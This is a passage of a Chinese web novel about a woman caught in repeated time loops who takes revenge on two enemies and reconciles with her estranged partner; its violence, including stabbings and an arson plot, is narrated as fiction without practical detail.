被陆延瞪着,沈念念连忙改口:“放、放过我们!” “求求你了,我们妻夫俩从来都没有做过什么伤天害理的事情,也没有和别人结过仇,你到底想要干什么?” 听了这话,季白青笑出了声。 顿时没有要和她们继续周旋下去的欲望。 她将陆延嘴里的袜子拿出来,问:“你们两,只有一个能活,谁……想活?” 沈念念闻言,瞬间开口道:“我!我想活着!” 陆延恶狠狠道:“你个贱人!我们老陆家供你好吃好喝,你就这么吃里扒外?!” 沈念念伶牙俐齿顶回去:“你们不就是把我当仆人看!说的倒是比唱的好听!” 见着两人狗咬狗,季白青神色不耐。 “早点决定吧,不然可就两个一起死咯。” 陆延瞬间怒吼:“让沈念念这个贱人去死,我活下来可以给你很多很多钱!” 季白青看向沈念念,沈念念看着陆延的眼神恶狠狠的,像是想要从他的身上咬下来一块肉。 “他!他给我去死!” 尖刀抵在了陆延的胸膛,轻轻戳了一截进去,血滴往外翻涌。 眼睁睁看着自己胸膛上的利刃,陆延眼神惊恐,开始剧烈挣扎。 但女人的手很稳,随意乱动只会让刀子插得更深。 陆延感受到疼痛,瞳孔放大,气息急促。 “不、不要!” 与之而来的是外面屋外响起的轰隆一声的剧烈雷声。 季白青勾起唇,将利刃往他的胸膛里慢慢插入,最后将人捅了个对穿。 血腥气漫开,震慑着沈念念的神经。 陆延还留着最后一口气,狠狠地盯着沈念念。 “贱……人。” 沈念念看着陆延合上的眼,露出了劫后余生的笑。 “他死了,是不是可以放我走了?” 季白青弯起眼睛,蹲在她身前,慢条斯理地摸了摸她的手腕。 “别急,还有 她的手格外冰凉,被摸的触感像是被阴冷的毒蛇盘踞缠绕。 沈念念的脊背僵直,惊恐地看着她。 “你、你想干什么。” 季白青将刀从陆延的胸口拔出,眼疾手快插入了她的手腕,将她的手筋挑断。 结束后,她声音笑吟吟的,带着一丝冷。 “好受吗?” 这个女人是疯子,沈念念在心里默念。 只是看着她帽子下的眉眼,沈念念忽然觉得有些熟悉。 等到脚筋也被挑断,尖刀被刺入她的胸膛,她尖叫一声,大声道:“你、你是不是季白青!” 季白青的手一顿,随后继续自己的动作。 感觉到胸口的血液流失,沈念念恨恨地盯着她。 这就是季白青,她能肯定。 沈念念突然报复似的开口:“季白青,温淼喜欢你。我撞见过她偷亲你的脸颊。” “可惜,她已经死了,哈哈哈哈!”她神色扭曲,发出癫狂的笑。 青草地上,季白青闭眼熟睡,她偷看到温淼偷偷在对方的脸颊上亲了一口。 那时候太过震惊,两个女人怎么能在一起,她便偷偷藏在心里没有对任何人说过。 现在说出来,不过是因为沈念念自己不好过,也不想让季白青好过! “哈,”季白青低笑一声。 温淼怎么会喜欢自己。 她不可能会喜欢自己的。 大仇得报,季白青原本应该欣喜的,此时眼泪却不受控制地流了出来。 她……想去找温淼了。 轰隆隆、轰隆隆。 屋外的雷声一声高过一声,像是世界末日即将来临。 季白青的耳边轰鸣,突然响起来温淼清甜的嗓音。 温淼……也想她了吗? 忍着脑颅内的钻痛,季白青将汽油泼在她们身上,放了一把火。 橘红色的火苗瞬间蔓延,将地上的两人吞没,尖叫声瞬间此起彼伏响起,地下室的温度一瞬间热得灼人,季白青缩在墙角,透过窗户看向屋外阴沉沉的天气。 好想你,她轻声道。 雨越发大了,天好像马上要塌下来。 季白青抱着双膝,昏昏沉沉阖上眼睛。 与此同时,陆氏集团董事长陆有德的人面兽心、迫害她人的新闻被传播得满天飞- 第一次回溯。 “这是新来的知青,大家快……”李向东的话还没说完,站在他身边的陆延就被快步走来的季白青捅了一刀。 鲜血溅上脸颊,她眼都不眨,将刀抽出来,又捅了陆延一刀。 随后快速抓过尖叫着想要逃跑的沈念念,将她解决。 血色翻涌、血流成河,被戳得千疮百孔的两人倒在地上。 “啊!季白青疯了!!!” 对上楞在原地、眼神怯怯的温淼,季白青用干净的手摸了摸她的脸颊。 好久不见。 轰隆一声,灰蒙蒙的天要往下掉- 第二次回溯。 “阿青,我喜欢你,我们在一起吧。” 美艳如同鬼魅一般的女人脸颊羞红,娇怯地看着她。 季白青甩开她的手,丝毫没有犹豫往外奔,知青点中正在吃饭。 忽略掉其她知青的尖叫,她利索拿出绳子将沈念念和陆延捆在一起,轻声对温淼道:“闭眼。” 随后,她将手中的刀刺进她们的身体里,一刀又一刀,缓缓插|入,又再次抽|出,听着两人的尖叫,季白青露出了笑。 美人匆匆忙忙追了上来,面色惊恐,扶着门框摇摇欲坠。 “阿青!” “我不认识你。”看了害怕的温淼一眼,季白青平静道。 轰隆隆! …… 将沈念念和陆延赶到毒蛇洞中,听着细微的蛇吐信声和尖叫谩骂交织在一起,季白青站在外面轻快地拍了拍掌心。 这是第九十九次回溯。 这次终于不再有阴沉的天气和厚重的雷声,季白青耳边突然响起来一道来自天边的低沉吟唱。 祂道:“季白青,别再执迷不悟了。” “无论如何,温淼都会死的,不要再做无用功,屈服吧,这就是——剧情的力量。” 季白青神色冷淡,歪头反问:“剧情的力量?那我照样可以把你的宠儿杀死。” 祂沉默一瞬,立马道:“可你会被轮回。” “可沈念念和陆延会被我杀死。” “如果我没猜错的话,她们非自然死亡,世界会崩塌吧,不知道你回溯时间,修复世界需要花多少精力。”季白青揉了揉自己的手腕,忽然觉得很疲惫。 祂的声音还是不带丝毫情绪波动:“你不要再做无用功,否则我会把你的记忆消除掉。” 季白青闻言冷笑一声,神色有些疯狂,声音提高道:“你没消除过吗?这不是第九十九次回溯,是第一百次。” “无论如何,温淼的结局不改,我不会选择停下用我自己的手段报复。” 她的心,只会为爱人而软。 祂沉默下来,天边的金光一闪,最后消失。 世界开始崩塌- 第一百零一次回溯。 熟练地将沈念念和陆延解决,季白青又听见了来自祂的声音。 “季白青,小世界不能再崩坏了!” 季白青轻应一声,脸色平淡:“所以跟我有什么关系?” 祂的声音显得有些气急败坏,失去了原本的淡*定。 “如果这次小世界再崩坏,你和温淼只会彻底消亡!” “如果我没猜错的话,消亡的或许也有你?还是说小世界消亡的话……你的力量会有很大的损伤?” 季白青意外地聪明,将祂现在所面临的情况猜得七七八八。 祂咬牙切齿:“你想要我答应什么条件?” “我要温淼不再受到剧情的限制,不为沈念念和陆延让步,我要她做……天命之女。” 想到曾经温淼对自己的心疼,她脸色柔了一瞬。 “我还要我能够选择自己的身份,改变世界的一定背景。” “好,吾答应你,只是你也要信守承诺,不再夺走沈念念和陆延的性命。” “小世界修复需要时间,吾先将你送到另一个世界,此外,你的记忆也会被夺走,回到小世界后再逐渐恢复。”- 意识悠悠转醒,季白青猛地睁眼,趴在床边浅眠的温淼映入眼帘。 她的手发颤,抬起来却顿在了对方的黑色发丝上,不敢轻易去触摸。 她想起来了。 原来自己和温淼不是第一次见面,而是生生世世纠缠。 【作者有话说】 改完噜[三花猫头] 回忆结束,继续正文 感谢投雷营养液,感谢评论订阅收藏 她的温淼 95 第95章 ◎擦身◎ 犹豫半响,最终悬空的手还是落在了温淼的黑发上,手下真实的触感让她大脑有些恍惚。 现实与前世的不同记忆在大脑内喷涌,新与旧交织、重合,大脑难以将巨量涌入的记忆全都归类,难免生出胀痛。 只是轻触到了温淼的发丝,季白青就猛地收回了手。 用力过猛,她的手不受控制地磕在了床边,发出轻响,声音不大,却还是让本来就睡得不深的温淼惊醒了。 她抬起头来的时候,额前碎发凌乱,眼眶红肿,脸上没什么血色,也不知道在床前守了多久。 见她终于醒了过来,温淼的眼睛微微睁大,下一秒就要出去将温如嫣叫过来看看她的情况。 季白青昏迷了两天,昏迷的两天里,高烧一直没有退过,面色潮红,在说着各种胡话。 说实话,温淼的内心不愧疚都是假的,她没有想到,季白青的反应会那么大。 贴身照顾了她两天,温淼并不好受。 此时见她突然醒了,才能高高提起的心才能放下。 季白青的眼睛紧紧盯着她,烧了这么久,发出的声音沙哑粗粝: “温淼。” 温淼顿时怔忪在原地。 季白青撑着身体起来,忍着喉咙中的干涩再度开口:“温淼,过来。” 温淼的眼睛泛着红,慢慢向床边靠近。 只是刚才床边站稳,就被季白青攥住了手腕往她的方向拉。 一时不察,温淼跌进了季白青的怀里,下一秒被人紧紧地抱住,两人的身体贴合容不下任何缝隙。 抱着熟悉的身体,嗅着鼻尖久违的蔷薇暖香,季白青的眼眶灼热。 在这个时候,她才完全确定下来,面前的温淼……是真实的。 活生生的、富有朝气的温淼。 不是躺在地下沉眠的她。 季白青抱着她的手慢慢收紧,直到听见怀中的人小声吸了一口气后清醒几分,才将她放开。 少了青年强势的桎梏,温淼终于得以站直身体。 两人之间相处了那么久,温淼对她的情绪变化感知敏锐,一时也看出来她当下的不对劲。 只是分手是她坚持的,只是她没想到,季白青会直接晕倒,还一晕就是两天,呼吸微弱,但又几乎查不出任何问题。 好在现在终于醒了过来。 她轻声开口,声音里还带着精神高度紧绷的沙哑:“哪不舒服?” 季白青直勾勾地看着她,和她对上视线后,又立马像是被烫到一般垂下头,纤长的睫毛如同蝴蝶羽翼,轻轻煽动,被柔白的面孔衬着有些柔弱。 她没说话。 温淼见从她的口中问不出来什么,便转身出房间去叫温如嫣来看看。 在她转身后,季白青的再度抬眸,目光落在她身上,灼热中透着轻微的痴迷。 她的温淼。 没多久,温淼就带着温如嫣回来了。 她手里端了一杯温水,递给季白青。 接过搪瓷杯的时候,季白青的手碰到了温淼温热的手指,瞬间心如擂鼓,低着头掩饰住面颊上突然蔓延的绯色,小口抿着水。 多久没有牵过手了?好像已经时隔千百年。 温如嫣没察觉出两人之间的奇怪气氛,给季白青把了脉后,有些纳闷,几乎要怀疑自己的医术,说的还是以前的那一套说辞。 “小季没什么事,烧已经退了,现在脉搏强劲有力,现在醒了就好,估计再休息休息就能像以前一样活蹦乱跳了。” 她抬头看了温淼一眼,道:“蓁蓁,你照顾好小季,这段时间娘那边我有时间再去帮忙。” 听着这话,季白青的心微微一动。 所以温淼还没有告诉温如嫣她们分手的消息? 温淼听见这话,还有些许尴尬,最后被温如嫣看着还是点头应道:“我知道了。” 温如嫣点头,指了指桌上熬好的黑乎乎的药汁,吩咐道:“让小季把药给喝了,再观察观察应该就没问题了。” 说完后,她察觉出两人之间的那点别扭劲,很快出了门,将门关上,给两人单独相处的空间。 温淼在原地站了一会儿,随后才端着药走到床边,准备药喂她喝药。 季白青抬头,脸上绯红稍稍褪去,她伸出手药接过药,说:“我自己喝吧。” 温淼下意识将药递给她,季白青端过,咕噜两口将苦得发涩的药喝完。 两人之间再度陷入沉默。 温淼垂眸有些黯然,分手是她提的,现在季白青也好的差不多了,她们已经分开,那她也没有继续留在季家的理由了。 这样想着,她再度开口,打破了沉默:“季白青,这几天我没和何婶她们说我们分手的事,现在你醒了,今天我们的事我会向她们解释清楚。” 闻言,季白青才恍惚想起来。 在这个世界,她们已经在一起了。 不过几天前刚分手。 还来不及欣喜多久,就被泼了一瓢冷水。 季白青下意识出言阻拦:“不。” 被温淼拧眉看着,季白青低下头细声道:“我的意思是,你知道我娘和爹很喜欢你,突然这么说她们肯定接受不了。” 温淼闻言一愣,这一方面她确实没有想到。 有些疑惑地看向季白青,她总觉得现在的季白青好像还有些不对劲,是因为烧了太久烧糊涂了吗? 犹豫一会儿,她才问道:“那你想要怎么办?” “假装我们还没有分手,等再过一段时间,我再想怎么和她们说。” 闻言,温淼立刻拒绝。 “不行。” 她分手的初衷便是不想要继续拖累季白青和季家,如果按照季白青所说的来,那她所做的坚持到底又有什么用呢? 季白青没说话,只是默默将手掌抵上了头,神色有些痛苦。 温淼瞬间失了几分冷静,上前一两步,上前查看:“你没事吧?头又开始痛了吗?” 季白青默默摇头,只是面上的痛苦神色没有丝毫减少。 温淼拧眉,不自觉加重语气:“季白青,说实话!” 季白青神情恹恹,垂下睫毛黯然道:“我们都分手了,你还那么关心我干什么?” 温淼深吸一口气:“不要闹脾气,你的身体最重要!” 季白青开口:“先瞒她们几天,我现在的状态,应付不了她们。” 她抬起眼睛,那双眼尾圆钝的杏眼盯着温淼的时候,眸光水亮,带了些祈求。 温淼微微眯起那双漂亮桃花眼和她对视,见她没多久又慌乱地低着头不再看她,还觉得有些诡异。 季白青……很不对劲。 将碗拿出去的时候,温淼还有些恍惚,懊恼于自己真的神使鬼差般答应了季白青说的,要推迟几天将消息告诉何香月她们的祈求。 现在想要反悔却好像不大来得及了。 看着人离开房间后,季白青鼻尖耸动,小狗似的想要捕捉空气中散开的独属于温淼的气味。 她的脸颊潮红,将脸贴在温淼方才趴过的地方,那股香气越发浓郁。 这是她让她无比迷恋的香气。 闭着眼睛,季白青将脑海里的记忆慢慢梳理归类,几天前的记忆慢慢规整好。 想到背后的罪魁祸首,季白青的唇角微微勾起。 陆延、沈念念,这一世她们倒是勉强可以保住性命。 只是其它的她不敢保证。 原本她想要今天就立刻去找陆延将先前的帐算清楚,但无论是何香月还是温淼都不同意她今天下床,只说最快明天才能出门。 季白青沉默一瞬,看着自己这一世的母亲和明显不赞同的温淼,只能乖顺下来。 天气炎热,只是在房间里也闷潮,季白青躺在床上出了一身的汗。 想着温如嫣说今天季白青最好不要下床,也不能有大幅度的动作,温淼犹豫好一会儿,最后还是打了温水到房间里。 季白青的思路被突然进来的温淼打断,看着她手中的水盆和毛巾还有些茫然。 温淼将毛巾打湿,道:“给你擦一下身体。” 季白青的视线落在她沾着水珠的白皙手背上,脸色一下就红了,说话都有些不利索。 “不、不用,温淼。” “我自己来。” 这种事怎么能够让温淼做呢? 温淼抬头,见她脸上、耳垂上连带着雪色的颈项上都带着粉意,顿时有些惊诧,原本做好了心里建设,冷淡的神色在此时也突然不自在了许多。 她低声道:“你还不能有大动作,我来帮你擦。” 说着,她将细白手指搭在季白青的衣服上,灵活解开了第一颗扣子。 季白青身体僵直,不敢有任何动作。 即使在记忆中,两人的亲密行为有过太多太多,但那些记忆和前世的记忆混杂在一起,在脑中便显得有几分遥远。 毛巾擦过她被衣物掩盖的冷白的身体。 她像是一只玩偶,一动不动地任由温淼摆动,只能偶尔听她的话翻个身。 擦完身体后,季白青羞得连脚趾都蜷缩起来,丝毫不敢抬眼看向温淼。 温淼将毛巾放回水盆里后,也松了一口气。 看着床上红得像是虾米一般的人抿了抿唇,她怕她因为自己的举动再生出希望,便再次出言强调: “季白青,我们已经分开了,我只给你两天的时间,你想好怎么向何婶她们说。” 见季白青的身体瞬间僵直,温淼垂眸不忍心再看。 “我答应你再多瞒几天消息不过是因为不想让何婶她们太过伤心,所以也希望你不要多想。” “现在照顾你也不过是因为你晕倒有我的责任。” 说完,她端着水盆准备往外走。 季白青的声音响起:“……你今晚睡哪?” 温淼平淡道:“睡哪都行,反正不会是你的房间,我们已经分开了,不是吗?” 【作者有话说】 马上解决奶奶的事! 一想到可以继续腻歪我又浑身都是劲了 感谢投雷营养液,感谢订阅收藏评论~[三花猫头] 对了,防盗改成百分之八十了,应该没看过回忆的也能买吧? 96 第96章 ◎她没奶奶了◎ 温淼说完后,干脆离开了。 季白青躺在床上,轻轻阖上了眼,却一直到半夜都还没有丝毫睡意。 第二天起来,身体上的不适已经完全褪去, 何香月弄着早饭,见她看起来气色比躺在床上那两天好多了后,松了一口气。 见她左顾右盼,一看就像是在找温淼,何香月白眼一翻:“行了,淼淼不在,她昨晚说不想打扰你休息,去了她姑姑那,估计早上也不回来吃了。” “快来吃饭,给你多加了个鸡蛋,好好补补,看都瘦了。” 季白青看着面前的何香月,愣了一瞬,唇角微扬:“好,谢谢……娘。” 明明她上辈子是没有娘和爹的人,也并不习惯除了温淼外其她人的关心,但有了之前的记忆,此时叫出了那声娘,好像逐渐开始接受面前的女人的身份了。 何香月没好气在她手臂上拍了一巴掌,念及她大病初愈,没多用力。 “你还和你老娘客气上了。” 吃完了早饭,季白青没去小石村,第一时间去的知青点。 还有一个多小时才到平日的上工时间,因为天气炎热,知青点的门大开着透风,季白青大步流星走了进去,拎起陆延的衣领就拖着他往外走。 “你、你干什么!” 陆延踉跄几步没站稳,最后被小鸡崽似的被季白青拖拽到外面,鞋都掉了一个。 季白青没说话,开始动手揍人,一拳又一拳落在男人身上,丝毫没有收着力,很快陆延的脸上就挂上了淤青。 “季白青,你发什么病!”最开始陆延还有精力骂她。 但被按着单方面暴打到最后,他全身剧痛,只能缩着身体,连连求饶:“季白青,我最近没惹你吧?你、你别打了!” 事发突然,陆延面前的碗都因为牵动桌子摔在了地上,裂成碎片。 知青点的其她人到现在才反应过来,沈念念第一时间看向方海洋,催促道: “方海洋,你快去救陆延啊!他要被打死了!” 方海洋看着陆延被打,心里得劲,觉得还差点瓜子磕,在一边看热闹看得正开心,像是沈念念所说的那样,真的打死陆延他更是要偷笑了,更何况,他力气比不上季白青那个怪物,过去帮忙也不过是被她按着对付。 他叹了一口气:“念念,我肯定打不过她啊!更何况你怎么不去?” 他站起来对季白青喊道:“季白青,你别打了,陆延今天还要上工呢,你别打了!” 陆延:“……” 他蜷缩着身体,咬牙切齿。 沈念念见季白青的动作慢下来,便也开口劝道:“对啊,待会儿陆延哥还要去上工,你打坏了他怎么去上工?” 闻言,季白青还真的停了下来。 躺在地上浑身疼痛的陆延暗骂一声,蠢货!全都是蠢货! 他伤成这样还怎么去上工! 季白青冷眼看着地上身体扭曲的陆延,蹲下身来,凑近他,轻声道:“温向荣的事,是陆有德动的手。” 闻言,陆延的身体一抖,抬起头来一脸惊愕地看着季白青。 这个人怎么知道?! 季白青扯唇一笑,神色带了几分阴森。 “你们就等着遭报应吧,等温向荣养好身体,你们陆家就完了。” 说完,季白青轻轻拍了拍陆延的脸蛋,随后又觉得有些嫌弃,在自己的衣服上蹭了蹭。 “你们等着。” 她丢下这句话,没再停留,离开了知青点。 见这座煞神终于离开了,沈念念连忙上前,看着躺在地上的陆延有些无措。 “陆延哥,你现在怎么样?” 陆延没有回答,一直到被沈念念和方海洋两个人架起来的时候脸色还是恍惚的。 季白青知道温向荣下放是他爷爷搞的鬼?她到底是怎么知道的? 陆延突然想起来,陆有德给他写的那封信,让她将温向荣解决掉。 他的身体一抖,如果这件事他没办好的话,那他永远都别想回京市了! 温向荣不能活! 这么一想,陆延的神色阴沉一瞬,紧紧攥住了拳头。 季白青和温淼不是心疼那老太婆吗?那他倒是要看看,那老太婆死了之后,她们又会是什么表现。 幻想她们哭得撕心裂肺的惨状,陆延冷不丁笑出了声。 一边的沈念念听见他突然发出的诡异笑声,搓了搓手臂,她看了眼自从被季白青打了之后就开始不对劲的陆延,咽了咽口水,提醒道: “陆延哥,我们得快点,不然今天的活儿就干不完了。” 闻言,陆延的脸又是一僵,身体的疼痛还在提醒他今天早上发生的事。 他像是一条狗一样,被季白青当着众人的面殴打。 贱人,都是贱人。 他倒是要看看,温向荣死了之后,季白青还怎么猖狂下去。 到了傍晚,他终于将最后一点活干完。 夜深了,方海洋去洗澡,他从床底的杂物中找出来一瓶早就准备好的汽油。 正将其装进袋子里,房间的门突然被方海洋打开,下意识瞥了陆延一眼,见他慌乱将一个瓶状东西塞进袋子里,他有些疑惑。 什么东西,这么宝贝。 陆延看他一眼,眼神带了几分警告。 方海洋身体一僵,对他赔笑道:“陆哥,我刚刚什么都没有看到。” 陆延沉着脸,没有吭声。 方海洋讪讪地摸了摸鼻尖,最后上床闭眼休息。 陆延也默不作声地躺上了床。 半夜,听着方海洋上下起伏的鼾声,陆延不耐烦地抓了把头发,起床将准备的东西拿上,最后悄无声息出了门。 夏天即使是晚上也热,走到小石村的时候,陆延早已满头大汗,他满脸不耐烦,先是推了推门,感受到了门锁的阻碍后,脸上闪过一丝满意。 温向荣人在里面。 他将准备好的汽油往牛棚上泼,随后丝毫不犹豫地划开火柴,点燃木料。 看着火焰被突然起来的大风吹得狰狞狂舞,他眼中闪过一抹快意。 快死,永世不能超生最好!老不死的东西! 火势渐渐变大,陆延躲在远处,准备看着火焰将牛棚彻底吞噬掉再离开。 噼里啪啦的木料爆裂声在陆延听来如此悦耳,只要牛棚烧成了灰,那温向荣就死德透透的了。 他站在隐蔽处,勾起了唇。 不知道什么时候,有人突然惊醒,尖叫声瞬间响起。 “着火了!”- 云水村。 “着火了!远处着火了!!!” 随着声音起伏,温淼和温如嫣都从吵闹声中惊醒。 温淼起身穿好衣服,远远望着那一抹像是要吞天的红色焰火。 她内心有些不安,“着火了姑姑,我们去看看!” 两人一人拿了个桶,匆匆往小石村赶。 路上拿着桶和工具准备要去灭火的人不计其数,几乎出动了几个村子的人。 越靠近,温淼却觉得内心越不安。 等到走到小石村,发现火势是从温向荣那一处所蔓延开的时候,温淼彻底失了分寸。 周边草皮上的火势已经被扑灭,可牛棚的火却越烧越旺。 温向荣还在里面! 温淼将桶一丢,下意识就要往里冲,最后却被人眼疾手快抱住。 季白青按住她,附在她耳边低声说:“别担心。” 她将温淼交给温如嫣,让温如嫣看住她。 “姑姑,你们别去冒险,看好温淼,相信我。” 温如嫣死死抱住温淼,担忧地看了眼被烧得几乎留不下什么的木屋。 现在火势蔓延得大,牛棚里人的生死根本就没人关心,都在急着扑灭蔓延到林间山火,就算是冲进去也只是送死,她此刻只能强制自己冷静下来,不让温淼去冒险。 将温淼托付给温如嫣后,季白青悄然走到正在鬼鬼祟祟准备逃跑的人身后。 陆延没有注意到她,她突然冷冷笑了一声:“看我找到了谁?一只做了坏事的老鼠。” 陆延的脊背一僵,下一秒就想要逃跑,却被季白青踹了一脚,被迫跪在了地上。 季白青拿出绳子利索将他绑好。 啪嗒一声,房梁落下,牛棚连带着里面的东西都被烧成灰烬。 将最后一点火扑灭,温如嫣见季白青提着陆延走了出来,终于放开了温淼。 那一处灰烬中只剩下一口铁锅,一去触碰,立马四分五裂。 温淼冲了过去,最后跪坐在潮湿的灰烬中,眼泪控制不住簌簌地往下落。 什么都没了,烧得什么都没了。 温如嫣的呼吸一滞,求救般地看向季白青。 季白青掐着手心,强迫自己先按照计划走。 她将陆延拎到愁眉苦脸的李向东和小石村的村长面前,“我知道是谁放的火,他当时就在一边看热闹,也没有救火,肯定是放火的。” 闻言,陆延的心狠狠一跳,扭头瞪着季白青:“谁说的?!我不过是来救火而已!” 季白青反问:“那你救火的工具呢?” 说完,她从陆延的口袋里掏出来一盒火柴。 “这就是证据。” 陆延稳住心态,知道自己肯定不能承认,便立马反驳:“胡说!谁还规定了不能随身带火柴?我今天晚上生火忘了拿出去了而已!” 李向东皱着眉看向她们:“季家丫头,饭可以乱吃,话不能乱说,你得拿出证据。” 虽然他也不喜欢陆延,但对他身后的势力还有几分忌惮。 惹不起。 季白青还想多说什么,突然在一边的方海洋站了出来,指着陆延到:“我看到了他拿汽油放进袋子里,而且我起来的时候都没有看见陆延。” 听着方海洋拆自己的台,陆延看着他,眼神怨毒。 “方、海、洋!” 方海洋理直气壮道:“你为什么要纵火?!虽然你烧死的是黑五类,但还有这么多树和草皮都没了。” 闻言,李向东和小石村村长彻底沉默下来,连和他共处一室的知青都愿意出来指认了,更何况方海洋和陆延的关系还那么好,那事实和季白青所说的确实没有出入。 小石村村长踹了陆延一脚,“你个瘪犊子玩意!” 死了个黑五类还好,主要是那么多树都被烧了,上面下来的责任可是要落实到人的! 他一个做村长的自然免不了责,说不定今年的评选都不能获奖。 季白青将他放开,扫了仍旧跌坐在灰烬中的温淼一眼,语气不自觉急促几分:“好了村长,你们看好他,可别让他跑了。” 小石村村长按住陆延,没好气又给了他两拳。 牛棚周围围了一小圈人,看着默默流泪的温淼都在小声说着什么。 也就钱婶上前安慰道:“姑娘,你奶奶她……唉……也算是提前解脱了,你别伤心,她肯定不希望看见你现在这样。” “别哭了。” 温淼捏着手中那一片黑色的布料,眼泪一滴一滴地掉在地上。 这是前段时间刚给温向荣置办的衣服。 季白青挤开人群,见温淼哭得湿红的眼,心尖剧痛。 她跪在温淼身边,低声安慰:“淼淼,别难过了。” 见她来了,温淼呜咽一声,终于哭出声来,抵住她的胸膛,哽咽道:“你为什么不让我去救奶奶?!” “奶奶没了……” “我没有奶奶了。” 见她哭得梨花带雨,几乎快要抽搐过去,不少人都抹了抹眼睛。 “唉,这也是个可怜的。” “是啊……” 季白青顺着她的背,心里也并不好受,强打精神低声安慰她:“好了,不哭。” 见她哭着哭着,捂着痉挛的小腹想要呕吐,季白青没再犹豫,蹙眉将她打横抱起,大步往回走,只丢下一句: “钱婶,我先带着我爱人回去了,麻烦你一定要帮忙看着纵火的罪魁祸首。” 抱着人回去的路上,她一遍又一遍不厌其烦地安慰道:“乖淼淼,不哭了。” 现在还不是解释的时候。 没带温淼回季家,她一路往为两人准备的新房的方向走。 将门打开进去后反锁上,又将灯打开,季白青将人掂着哄了哄。 “不哭了蓁蓁,快看看你面前的人是谁。” 熟悉的声音传来,“有什么好哭的,老娘又没死。” 温淼抬起朦胧泪眼,怔怔地看着面前人。 【作者有话说】 写的我有点难过,明明知道没死,难过啥啊!!! 有一个很坏很坏的消息,我要去两天调研,即将被下放到村,呜呜 感谢投雷和营养液,感谢评论订阅收藏 最后,宿宿雪想要评论(敲碗[空碗]) 97 第97章 ◎动摇◎ 原本她以为已经被烈火活活烧死的人此刻却好端端地站在了她的面前,穿着板正的衣服,头发被一丝不苟地束在脑后,和前段时间相比,不知道精神了多少倍。 季白青将温淼放下来,脚刚落在地上,温淼瞬间扑向温向荣,紧紧地抱住她。 “奶奶……” 温向荣拍了拍她的背,“行了,知道我好端端地在这还哭什么?我可没有小季那么好的脾气,还要哄你。” 温淼闻言,身体一僵,努力控制住才没有回头看季白青的表情。 季白青听了温向荣的话也没有露出什么破绽,只是将自己的计划一一道来: “现在奶奶在两个村的人看来是被烧死了,所以这段时间就先让奶奶在这边好好修养,等到她脸上的伤疤好了、腿伤也好了之后再以我娘亲戚的身份在村里出现。” 云水村的人几乎都没见过小石村的黑五类,加上温向荣脸上明显的的伤口和腿伤被治好,几乎没人会怀疑她的身份。 在此之外,作为纵火元凶的陆延肯定也是要被判刑的,这样以来,挺长一段时间也不用再担心他在身边蹦跶了。 这计划能算得上是一石二鸟。 季白青看着还埋在温向荣颈脖间的温淼,不动声色将视线挪到了窗外。 她轻声开口:“这段时间为了掩人耳目,我们都在这边住吧。” 温淼还没开口,温向荣往后退了一步,看着温淼湿红的双眼,无奈道: “好了,别哭了,这么晚了,快去休息吧。” 新房这边的房间有四个,温向荣还不知道两人已经分开的事,将人往季白青的方向推。 “行了,你俩快去休息,我也回房间了。” 温淼踉跄几步,跌进季白青的怀里。 后背抵上她柔软的胸膛,温淼的身体一僵,仓皇中扶着一边的桌子才勉强站直了身体。 作为罪魁祸首的温向荣拄着拐杖慢慢悠悠地往屋子里走,温淼撑着桌子的手背瞬间绷紧,低头不语。 季白青看着女人瘦削的肩膀,终究还是心疼占大多数。 她说:“温淼,你住主卧,不用担心,我们不住在一起,我随便找一间屋子住着就行,不过我们分手的消息看来是肯定要再瞒一段时间了。” 她此时庆幸先前在每个房间里都做了张床,要睡只需要铺个褥子,垫上凉席就好。 温淼没说话,季白青以为她是不想要和自己交流,眉心浅浅一蹙,不想让她看出自己眼底的失落,转身往收拾好的客房走。 温淼看着她的背影,开口叫住了她:“季白青,我住在客房就好,你住主卧,这毕竟是你的房子。” 季白青没说话,只是进了客房后将门关上。 摸着黑直接走到了床边,她躺在床上睁着眼睛,看着漆黑一片的房间。 在见到了温淼,又和她有了一定的身体接触后,季白青此刻的精神紧绷的状态要好上了一些。 只是迟迟没有睡意。 不知道从什么时候开始,嗅不到属于温淼身上的那抹蔷薇暖香,她就难以入睡。 先前还没有恢复记忆时每次突发头痛,也都是感受到温淼的存在后才有所缓解。 她现在或许病得有些严重,温淼才是那唯一的药。 慢慢阖上眼,季白青准备酝酿睡意,到了半夜却又缓缓睁开了眼。 她根本睡不着。 她有些后悔,早知道就偷拿一件温淼的衣服好了,虽然洗了,但多少还是有香气残留。 没有再继续躺着,季白青下床,站在窗前,感受着夜间温热的风一阵一阵地往脸上扑。 也就站了十几分钟,她悄无声息地出了门。 在主卧的温淼听到了微小的动静后也一愣,透过朦胧月光看向窗外高挑的的身影。 这么晚了,她去哪? 温淼拧着秀眉,最终还是将自己想要开口说的话咽了下去。 也对,季白青有什么事总是会瞒着她,无论是温淼对季白青,亦或是季白青对温淼,她们都默契的不太坦诚。 这是温淼不想要承认却又不得不承认的事实。 就像是季白青想好了可以救下温向荣的计划,却一直没有和她说一样。 此时她出去,也没有告诉温淼到底是要去干什么。 想到这,温淼垂眸轻笑一声,也对,两人都已经分开了,好像也没必要再对她报备。 她想,即使温向荣现在摆脱了黑五类的身份,对季白青和季家的影响减少,但是曾经造成过的伤害是消除不掉的。 她害季白青丢了工农兵大学的推荐名额,还害得季伟的腿受了伤。 这些事压在她心里,分量沉甸甸的,温淼释怀不了。 更何况,她们之间季白青总是付出的那么多,温淼被她护在羽翼之下,接触不到外面的风风雨雨。 久而久之,温淼只觉得有些无力,季白青将她保护得太过了,温淼不喜欢,也觉得不应该是这样的。 真正的妻妻都是相互扶持的,一直这样下去,她只会觉得欠季白青的越来越多,季白青肩膀上的负担也会越来越重。 或许她根本就不会爱人。 她埋怨现状、她不满与此,温淼觉得,她或许配不上这么好的季白青。 在此之外,她带给季白青大多数也不是什么正面情绪,温淼而是让她痛苦又劳累甚至还会因为她掉眼泪。 无论从哪个角度看,对季白青来说最好的结局就是两人分开。 想清楚这一点,温淼没再继续站下去,回了床上。 只是一想到以后和季白青就会彻底没有纠葛,她的心还是会闷闷地发疼。 不知道怎么睡着的,温淼第二天起床时是被嘹亮的鸡鸣声叫醒。 换好衣服出去一看,院子里多出来一个鸡圈,里面放了一母一公两只鸡,石槽里是被炖得糜烂的鸡食。 见她过来后,两只鸡昂首挺胸地从她面前走过。 季白青出来准备打水的时候见着的便是温淼站在鸡圈前的认真模样,她的眉眼一软,声音倒还是颇为冷淡: “温淼,早饭好了。” 温淼扭头看她,轻轻点头。 新屋的选址偏僻,少有人路过,但保险起见,吃饭的时候她们还是没将门打开。 温向荣身上的伤没有治好之前,最好还是不要出现在人前。 